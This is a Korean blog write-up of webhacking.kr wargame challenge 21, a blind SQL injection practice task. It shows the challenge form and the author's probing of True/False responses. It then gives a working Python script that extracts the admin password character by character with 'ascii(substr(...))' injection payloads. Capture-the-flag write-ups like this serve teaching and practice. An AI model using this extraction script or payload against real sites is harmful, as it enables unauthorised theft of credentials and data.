본문 바로가기

wargame/WEBHACKING.kr

[WEBHACKING.kr]21

21

딱봐도 BLIND SQL INJECTION 문제



우선 기본적인 SQL INJECTION을 진행해보았다. 결과는 실패.




코드를 살펴보자

<html>
<head>
<title>Challenge 21</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
input { background:silver; color:black; font-size:9pt; }
</style>
</head>
<body><br><br>
<center>
<form method=get action=index.php>
<table border=0 align=center cellpadding=10 cellspacing=0>
<tr><td colspan=2 align=center><h1>BLIND SQL INJECTION</h1></td></tr>
<tr><td align=center><input name=no type=text size=30></td><td><input type=submit></td>
<input type=hidden name=id>
<input type=hidden name=pw>
</tr><tr><td colspan=2 align=center style=background:silver;color:black;font-size:9pt;>Result : <b>
False</b></td></tr></table>
</form>
</center>
</body>
</html>



내가 입력하는 공간은 no가 들어가는 것을 보아하니 숫자인 no를 이용하여 id와 pw를 찾는 문제 같다. table의 field는 no, id, pw가 있을 것이라고 추측할 수 있다.

0을 입력하면 아무런 결과도 출력되지 않는다.




1과 2를 입력하면 True를 반환한다.






3이상의 값을 입력하면 False를 반환한다. 따라서 no의 값은 1과 2만 존재함을 알 수 있다. table의 record에는 no가 1과 2인 경우만 있다.




앞의 결과로 미루어 짐작컨데 "$result = mysqli_fetch_array($db, 'SELECT * FROM TABLE WHERE no = $_GET['no']')" 대충 이런 식으로 쿼리를 작성한 후 $result가 존재하면 True, 존재하지 않으면 False를 반환하는 코드가 있다고 추측할 수 있다.
구조를 대략적으로 알아냈으므로 길이를 알아내보자. no=1인 id의 길이는 5이다.






no=1인 pw의 길이와 no=2인 id의 길이도 5이다. 하지만 no=2인 pw의 길이는 19였다.




길이를 알아냈으니 본격적으로 값을 찾아낼 차례다. 그 전에 한 번 id가 admin이 아닌지 살펴보았다.



no=2인 id의 첫 글자가 a이다.




다음 글자도 확인해보니 m이다. 아마 admin이 맞을 것이다.




python 코드를 작성하였다.

import urllib.request
import re
import requests
 
if __name__=="__main__":
 
    for i in range(1, 20): # 5글자일 때와 20글자일 때 변경하기
        for j in range(97, 122) : # 아스키코드 범위 설정
            params = {"no":"2 and ascii(substr(pw, "+str(i)+", 1))="+str(j)} # id 찾을 때와 pw 찾을 때 변경하기
            cookies = {"PHPSESSID" : ""} # 쿠키 입력하기
            response = requests.get('http://webhacking.kr/challenge/bonus/bonus-1/', cookies = cookies, params = params)
            
            find = re.findall("True", response.text)
            if find:
                print(chr(j), end='')
                break

no=2일 때 id는 'admin'이다.



no=2일 때 pw가 나왔다. 다음 코드를 auth에 입력하였더니 성공하였다.




'wargame > WEBHACKING.kr' 카테고리의 다른 글

[WEBHACKING.kr]16  (0) 2019.06.03
[WEBHACKING]모든 포스트 목록  (0) 2019.06.02
[WEBHACKING.kr]22  (0) 2019.05.27
[WEBHACKING.kr]27  (0) 2019.05.21
[WEBHACKING.kr]26  (0) 2019.05.21